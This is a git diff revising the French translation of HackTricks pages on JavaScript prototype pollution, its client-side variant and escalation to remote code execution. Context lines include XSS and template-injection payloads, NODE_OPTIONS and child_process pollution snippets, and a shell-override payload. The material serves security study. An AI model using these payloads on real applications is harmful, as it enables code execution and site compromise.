||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -460,8 +460,8 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -59,7 +59,7 @@ Il convient de noter que lorsqu'une propriété est ajoutée à un objet servant
|
|||
|
||||
## Exploration de la pollution de prototype en JavaScript
|
||||
|
||||
Les objets JavaScript sont définis par des paires clé-valeur et héritent du prototype Object JavaScript. Cela signifie que la modification du prototype Object peut influencer tous les objets dans l'environnement.
|
||||
Les objets JavaScript sont définis par des paires clé-valeur et héritent du prototype d'objet JavaScript. Cela signifie que modifier le prototype d'objet peut influencer tous les objets dans l'environnement.
|
||||
|
||||
Utilisons un exemple différent pour illustrer :
|
||||
```javascript
|
||||
|
@ -86,7 +86,7 @@ car1.announce(); // Outputs "Beep beep!"
|
|||
car1.__proto__.__proto__.isVehicle = true;
|
||||
console.log(car1.isVehicle); // Outputs true
|
||||
```
|
||||
## Pollution de prototype
|
||||
## pollution de prototype
|
||||
|
||||
Pour un scénario où l'utilisation de `__proto__` est restreinte, la modification du prototype d'une fonction est une alternative :
|
||||
```javascript
|
||||
|
@ -158,7 +158,7 @@ c[1] // 2 -- not
|
|||
```
|
||||
### Pollution des éléments Html
|
||||
|
||||
Lors de la génération d'un élément HTML via JS, il est possible de **surcharger** l'attribut **`innerHTML`** pour le faire écrire du **code HTML arbitraire.** [Idée et exemple de cet article](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
Lors de la génération d'un élément HTML via JS, il est possible de **surcharger** l'attribut **`innerHTML`** pour le faire écrire du **code HTML arbitraire**. [Idée et exemple tirés de cette analyse](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -177,7 +177,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
### Exemple de base
|
||||
|
||||
Une pollution de prototype se produit en raison d'une faille dans l'application qui permet d'écraser les propriétés de `Object.prototype`. Cela signifie que puisque la plupart des objets dérivent leurs propriétés de `Object.prototype`
|
||||
Une pollution de prototype se produit en raison d'une faille dans l'application qui permet d'écraser les propriétés de `Object.prototype`. Cela signifie que puisque la plupart des objets dérivent de leurs propriétés de `Object.prototype`
|
||||
|
||||
L'exemple le plus simple est d'ajouter une valeur à un **attribut non défini d'un objet** qui va être vérifié, comme suit :
|
||||
```javascript
|
||||
|
@ -222,7 +222,7 @@ Dans jQuery, la fonction `$ .extend` peut entraîner une pollution du prototype
|
|||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||
console.log({}.devMode); // Outputs: true
|
||||
```
|
||||
Cette vulnérabilité, identifiée sous le nom CVE-2019-11358, illustre comment une copie profonde peut modifier involontairement le prototype, entraînant des risques potentiels pour la sécurité, tels qu'un accès administrateur non autorisé si des propriétés comme `isAdmin` sont vérifiées sans une vérification d'existence appropriée.
|
||||
Cette vulnérabilité, identifiée sous le nom CVE-2019-11358, illustre comment une copie profonde peut modifier involontairement le prototype, entraînant des risques potentiels en matière de sécurité, tels que l'accès administrateur non autorisé si des propriétés comme `isAdmin` sont vérifiées sans une vérification d'existence appropriée.
|
||||
|
||||
|
||||
### CVE-2018-3721, CVE-2019-10744 : Attaque de pollution de prototype via lodash
|
||||
|
@ -241,7 +241,7 @@ NodeJS utilise largement les Arbres de Syntaxe Abstraite (AST) en JavaScript pou
|
|||
|
||||
#### Analyse de la vulnérabilité de Handlebars
|
||||
|
||||
Le moteur de modèles Handlebars est vulnérable à une attaque de pollution de prototype. Cette vulnérabilité provient de fonctions spécifiques dans le fichier `javascript-compiler.js`. Par exemple, la fonction `appendContent` concatène `pendingContent` si elle est présente, tandis que la fonction `pushSource` réinitialise `pendingContent` à `undefined` après avoir ajouté la source.
|
||||
Le moteur de modèles Handlebars est susceptible à une attaque de pollution de prototype. Cette vulnérabilité provient de fonctions spécifiques dans le fichier `javascript-compiler.js`. La fonction `appendContent`, par exemple, concatène `pendingContent` si elle est présente, tandis que la fonction `pushSource` réinitialise `pendingContent` à `undefined` après avoir ajouté la source.
|
||||
|
||||
##### Processus d'exploitation
|
||||
|
||||
|
@ -306,9 +306,9 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
#### Vulnérabilité de Pug
|
||||
#### Vulnérabilité Pug
|
||||
|
||||
Pug, un autre moteur de template, est confronté à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur [l'injection AST dans Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
Pug, un autre moteur de template, est confronté à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
|
||||
Exemple de pollution de prototype dans Pug:
|
||||
```python
|
||||
|
@ -331,17 +331,17 @@ requests.get(TARGET_URL)
|
|||
|
||||
Pour réduire le risque de pollution de prototype, les stratégies énumérées ci-dessous peuvent être mises en œuvre :
|
||||
|
||||
1. **Immutabilité des Objets** : L'`Object.prototype` peut être rendu immuable en appliquant `Object.freeze`.
|
||||
1. **Immutabilité des Objets** : Le `Object.prototype` peut être rendu immuable en appliquant `Object.freeze`.
|
||||
2. **Validation des Entrées** : Les entrées JSON doivent être rigoureusement validées par rapport au schéma de l'application.
|
||||
3. **Fonctions de Fusion Sécurisées** : L'utilisation non sécurisée de fonctions de fusion récursives doit être évitée.
|
||||
3. **Fonctions de Fusion Sécurisées** : L'utilisation non sécurisée de fonctions de fusion récursive doit être évitée.
|
||||
4. **Objets sans Prototype** : Des objets sans propriétés de prototype peuvent être créés en utilisant `Object.create(null)`.
|
||||
5. **Utilisation de Map** : Au lieu d'`Object`, `Map` devrait être utilisé pour stocker des paires clé-valeur.
|
||||
6. **Mises à Jour des Bibliothèques** : Les correctifs de sécurité peuvent être incorporés en mettant régulièrement à jour les bibliothèques.
|
||||
6. **Mises à Jour des Bibliothèques** : Les correctifs de sécurité peuvent être intégrés en mettant régulièrement à jour les bibliothèques.
|
||||
7. **Outils de Linting et d'Analyse Statique** : Utilisez des outils comme ESLint avec des plugins appropriés pour détecter et prévenir les vulnérabilités de pollution de prototype.
|
||||
8. **Revues de Code** : Mettez en place des revues de code approfondies pour identifier et remédier aux risques potentiels liés à la pollution de prototype.
|
||||
9. **Formation en Sécurité** : Sensibilisez les développeurs aux risques de pollution de prototype et aux meilleures pratiques pour écrire un code sécurisé.
|
||||
10. **Utilisation Prudente des Bibliothèques** : Soyez prudent lors de l'utilisation de bibliothèques tierces. Évaluez leur posture en matière de sécurité et examinez leur code, en particulier ceux qui manipulent des objets.
|
||||
11. **Protection à l'Exécution** : Employez des mécanismes de protection à l'exécution tels que l'utilisation de packages npm axés sur la sécurité qui peuvent détecter et prévenir les attaques de pollution de prototype.
|
||||
11. **Protection à l'Exécution** : Mettez en place des mécanismes de protection à l'exécution tels que l'utilisation de packages npm axés sur la sécurité qui peuvent détecter et prévenir les attaques de pollution de prototype.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -359,7 +359,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Pollution de Prototype Côté Client
|
||||
# Pollution de prototype côté client
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,8 +8,8 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -34,13 +34,13 @@ return 'test';
|
|||
|
||||
### Trouver la cause profonde de la pollution du prototype <a href="#5530" id="5530"></a>
|
||||
|
||||
Une fois qu'une vulnérabilité de pollution du prototype a été identifiée par l'un des outils, et si le code n'est pas trop complexe, vous pouvez trouver la vulnérabilité en recherchant des mots-clés tels que `location.hash`, `decodeURIComponent`, ou `location.search` dans les Outils de développement de Chrome. Cette approche vous permet de localiser la section vulnérable du code JavaScript.
|
||||
Une fois qu'une vulnérabilité de pollution du prototype a été identifiée par l'un des outils, et si le code n'est pas trop complexe, vous pouvez trouver la vulnérabilité en recherchant des mots-clés tels que `location.hash`, `decodeURIComponent`, ou `location.search` dans les Outils de développement Chrome. Cette approche vous permet de localiser la section vulnérable du code JavaScript.
|
||||
|
||||
Pour des bases de code plus grandes et plus complexes, une méthode simple pour découvrir le code vulnérable implique les étapes suivantes :
|
||||
|
||||
1. Utilisez un outil pour identifier une vulnérabilité et obtenir une charge utile conçue pour définir une propriété dans le constructeur. Un exemple fourni par ppmap pourrait ressembler à ceci : `constructor[prototype][ppmap]=reserved`.
|
||||
2. Définissez un point d'arrêt à la première ligne de code JavaScript qui s'exécutera sur la page. Actualisez la page avec la charge utile, mettant en pause l'exécution à ce point d'arrêt.
|
||||
3. Pendant que l'exécution JavaScript est en pause, exécutez le script suivant dans la console JS. Ce script signalera lorsque la propriété 'ppmap' est créée, aidant à localiser son origine :
|
||||
3. Pendant que l'exécution JavaScript est en pause, exécutez le script suivant dans la console JS. Ce script signalera quand la propriété 'ppmap' est créée, aidant à localiser son origine :
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet=true){
|
||||
|
||||
|
@ -62,9 +62,9 @@ origValue = val;
|
|||
|
||||
debugAccess(Object.prototype, 'ppmap')
|
||||
```
|
||||
4. Retournez à l'onglet **Sources** et sélectionnez "Reprendre l'exécution du script". Le JavaScript continuera à s'exécuter, et la propriété 'ppmap' sera polluée comme prévu. L'utilisation de l'extrait fourni facilite l'identification de l'emplacement exact où la propriété 'ppmap' est polluée. En examinant la **Pile d'appels**, différents empilements où la pollution s'est produite peuvent être observés.
|
||||
4. Naviguez de nouveau vers l'onglet **Sources** et sélectionnez "Reprendre l'exécution du script". Le JavaScript continuera à s'exécuter, et la propriété 'ppmap' sera polluée comme prévu. L'utilisation de l'extrait de code fourni facilite l'identification de l'emplacement exact où la propriété 'ppmap' est polluée. En examinant la **Pile d'appels**, différents empilements où la pollution s'est produite peuvent être observés.
|
||||
|
||||
Lorsqu'il s'agit de décider quel empilement enquêter, il est souvent utile de cibler les empilements associés aux fichiers de bibliothèque JavaScript, car la pollution de prototype se produit fréquemment au sein de ces bibliothèques. Identifiez l'empilement pertinent en examinant son lien avec les fichiers de bibliothèque (visible sur le côté droit, similaire à une image fournie à titre indicatif). Dans les scénarios avec plusieurs piles, comme ceux des lignes 4 et 6, le choix logique est l'empilement de la ligne 4, car il représente l'occurrence initiale de la pollution et donc la cause première de la vulnérabilité. En cliquant sur l'empilement, vous serez dirigé vers le code vulnérable.
|
||||
Lorsqu'il s'agit de décider quel empilement enquêter, il est souvent utile de cibler les empilements associés aux fichiers de bibliothèque JavaScript, car la pollution de prototype se produit fréquemment au sein de ces bibliothèques. Identifiez l'empilement pertinent en examinant son lien avec les fichiers de bibliothèque (visible sur le côté droit, similaire à une image fournie à titre indicatif). Dans les scénarios avec plusieurs empilements, comme ceux des lignes 4 et 6, le choix logique est l'empilement de la ligne 4, car il représente l'occurrence initiale de la pollution et donc la cause première de la vulnérabilité. En cliquant sur l'empilement, vous serez dirigé vers le code vulnérable.
|
||||
|
||||
![https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
|
||||
|
||||
|
@ -72,9 +72,9 @@ Lorsqu'il s'agit de décider quel empilement enquêter, il est souvent utile de
|
|||
|
||||
Le gadget est le **code qui sera exploité une fois qu'une vulnérabilité PP est découverte**.
|
||||
|
||||
Si l'application est simple, nous pouvons **rechercher** des **mots-clés** comme **`srcdoc/innerHTML/iframe/createElement`** et examiner le code source pour vérifier s'il **conduit à l'exécution de JavaScript**. Parfois, les techniques mentionnées peuvent ne pas trouver de gadgets du tout. Dans ce cas, une simple revue du code source révèle quelques beaux gadgets comme dans l'exemple ci-dessous.
|
||||
Si l'application est simple, nous pouvons **rechercher** des **mots-clés** comme **`srcdoc/innerHTML/iframe/createElement`** et examiner le code source pour vérifier s'il **conduit à l'exécution de JavaScript**. Parfois, les techniques mentionnées peuvent ne pas trouver de gadgets du tout. Dans ce cas, une simple revue du code source révèle quelques bons gadgets comme dans l'exemple ci-dessous.
|
||||
|
||||
### Exemple de découverte de gadget PP dans le code de la bibliothèque Mithil
|
||||
### Exemple de recherche de gadget PP dans le code de la bibliothèque Mithil
|
||||
|
||||
Consultez cet article : [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
|
||||
|
@ -132,7 +132,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Prototype Pollution à RCE
|
||||
# Exploitation de la pollution de prototype pour RCE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Code Vulnérable
|
||||
|
||||
Imaginez un vrai JS utilisant un code comme le suivant :
|
||||
Imaginez un vrai JS utilisant un code comme celui-ci :
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
|
@ -51,9 +51,9 @@ var proc = fork('a_file.js');
|
|||
```
|
||||
## PP2RCE via variables d'environnement
|
||||
|
||||
**PP2RCE** signifie **Prototype Pollution vers RCE** (Exécution de Code à Distance).
|
||||
**PP2RCE** signifie **Prototype Pollution to RCE** (Execution de Code à Distance).
|
||||
|
||||
Selon ce [**compte-rendu**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), lorsqu'un **processus est lancé** avec une méthode de **`child_process`** (comme `fork` ou `spawn` ou d'autres), il appelle la méthode `normalizeSpawnArguments` qui est un **gadget de pollution de prototype pour créer de nouvelles variables d'environnement** :
|
||||
Selon ce [**article**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), lorsqu'un **processus est lancé** avec une méthode de **`child_process`** (comme `fork` ou `spawn` ou autres), cela appelle la méthode `normalizeSpawnArguments` qui est un **gadget de pollution de prototype pour créer de nouvelles variables d'environnement**:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
|
@ -73,15 +73,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
|||
}
|
||||
}
|
||||
```
|
||||
Vérifiez que dans le code, il est possible de **polluer `envPairs`** simplement en **polluant** l'**attribut `.env`.**
|
||||
Vérifiez ce code, vous pouvez voir qu'il est possible de **empoisonner `envPairs`** simplement en **polluant** l'**attribut `.env`.**
|
||||
|
||||
### **Polluer `__proto__`**
|
||||
### **Empoisonnement de `__proto__`**
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez qu'en raison de la manière dont la fonction **`normalizeSpawnArguments`** de la bibliothèque **`child_process`** de node fonctionne, lorsqu'on appelle quelque chose pour **définir une nouvelle variable d'environnement** pour le processus, il suffit de **polluer n'importe quoi**.\
|
||||
Par exemple, si vous faites `__proto__.avar="valuevar"`, le processus sera lancé avec une variable appelée `avar` ayant pour valeur `valuevar`.
|
||||
Notez que en raison de la façon dont la fonction **`normalizeSpawnArguments`** de la bibliothèque **`child_process`** de node fonctionne, lorsque quelque chose est appelé pour **définir une nouvelle variable d'environnement** pour le processus, il vous suffit de **polluer n'importe quoi**.\
|
||||
Par exemple, si vous faites `__proto__.avar="valuevar"`, le processus sera lancé avec une variable appelée `avar` avec la valeur `valuevar`.
|
||||
|
||||
Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'**attribut `.env`** et (seulement dans certaines méthodes) cette variable sera la **première** (permettant l'attaque).
|
||||
Cependant, pour que la **variable d'environnement soit la première**, vous devez **polluer** l'**attribut `.env`** et (uniquement dans certaines méthodes) cette variable sera la **première** (permettant l'attaque).
|
||||
|
||||
C'est pourquoi **`NODE_OPTIONS`** n'est **pas à l'intérieur de `.env`** dans l'attaque suivante.
|
||||
{% endhint %}
|
||||
|
@ -108,6 +108,8 @@ clone(USERINPUT);
|
|||
var proc = fork('a_file.js');
|
||||
// This should create the file /tmp/pp2rec
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Empoisonnement de `constructor.prototype`
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
@ -129,14 +131,12 @@ clone(USERINPUT);
|
|||
var proc = fork('a_file.js');
|
||||
// This should create the file /tmp/pp2rec2
|
||||
```
|
||||
## PP2RCE via variables d'environnement + ligne de commande
|
||||
## PP2RCE via env vars + cmdline
|
||||
|
||||
Un payload similaire au précédent avec quelques modifications a été proposé dans [**ce compte-rendu**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Les principales différences sont :
|
||||
Une charge utile similaire à la précédente avec quelques modifications a été proposée dans [**cet article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Les principales différences sont :
|
||||
|
||||
* Au lieu de stocker le **payload** nodejs dans le fichier `/proc/self/environ`, il le stocke **dans argv0** de **`/proc/self/cmdline`**.
|
||||
* Ensuite, au lieu d'exiger via **`NODE_OPTIONS`** le fichier `/proc/self/environ`, il **exige `/proc/self/cmdline`**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
* Au lieu de stocker la **charge utile** nodejs à l'intérieur du fichier `/proc/self/environ`, elle est stockée à l'intérieur de argv0 de **`/proc/self/cmdline`**.
|
||||
* Ensuite, au lieu de nécessiter via **`NODE_OPTIONS`** le fichier `/proc/self/environ`, il **nécessite `/proc/self/cmdline`**.
|
||||
```javascript
|
||||
const { execSync, fork } = require('child_process');
|
||||
|
||||
|
@ -162,7 +162,7 @@ var proc = fork('a_file.js');
|
|||
|
||||
## Interaction DNS
|
||||
|
||||
En utilisant les payloads suivants, il est possible d'abuser de la variable d'environnement NODE\_OPTIONS dont nous avons discuté précédemment et de détecter si cela a fonctionné avec une interaction DNS :
|
||||
En utilisant les charges utiles suivantes, il est possible d'exploiter la variable d'environnement NODE_OPTIONS que nous avons discutée précédemment et de détecter si cela a fonctionné avec une interaction DNS :
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
|
@ -172,7 +172,7 @@ En utilisant les payloads suivants, il est possible d'abuser de la variable d'en
|
|||
}
|
||||
}
|
||||
```
|
||||
Ou, pour éviter les WAFs demandant le domaine :
|
||||
Ou, pour éviter que les WAF ne demandent le domaine :
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
|
@ -182,13 +182,13 @@ Ou, pour éviter les WAFs demandant le domaine :
|
|||
}
|
||||
}
|
||||
```
|
||||
## Vulnérabilité PP2RCE dans les fonctions `child_process`
|
||||
## Vulnérabilité PP2RCE fonctions child\_process
|
||||
|
||||
Dans cette section, nous allons analyser **chaque fonction de `child_process`** pour exécuter du code et voir si nous pouvons utiliser une technique pour forcer cette fonction à exécuter du code :
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>exploitation de `exec`</code></summary>
|
||||
<summary><code>exec</code> exploitation</summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -215,10 +215,6 @@ p = {}
|
|||
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||
var proc = exec('something');
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>execFile</code> exploitation</strong></summary>
|
||||
|
@ -240,16 +236,16 @@ var proc = execFile('/usr/bin/node');
|
|||
|
||||
// Windows - not working
|
||||
```
|
||||
Pour que **`execFile`** fonctionne, il **DOIT exécuter node** pour que les NODE\_OPTIONS fonctionnent.
|
||||
Si ce n'est **pas** en train d'exécuter **node**, vous devez trouver comment vous pourriez **modifier l'exécution** de ce qu'il exécute **avec des variables d'environnement** et les définir.
|
||||
Pour que **`execFile`** fonctionne, il **DOIT exécuter node** pour que les NODE\_OPTIONS fonctionnent.\
|
||||
Si **node** n'est **pas** exécuté, vous devez trouver comment vous pourriez **modifier l'exécution** de ce qui est exécuté **avec des variables d'environnement** et les définir.
|
||||
|
||||
Les **autres** techniques **fonctionnent** sans cette exigence car il est **possible de modifier** **ce qui est exécuté** via la pollution de prototype. (Dans ce cas, même si vous pouvez polluer `.shell`, vous ne polluerez pas ce qui est exécuté).
|
||||
Les **autres** techniques **fonctionnent** sans cette exigence car il est **possible de modifier** **ce qui est exécuté** via la pollution de prototype. (Dans ce cas, même si vous pouvez polluer `.shell`, vous ne polluerez pas ce qui est en cours d'exécution).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>fork</code> exploitation</summary>
|
||||
<summary>Exploitation de <code>fork</code></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
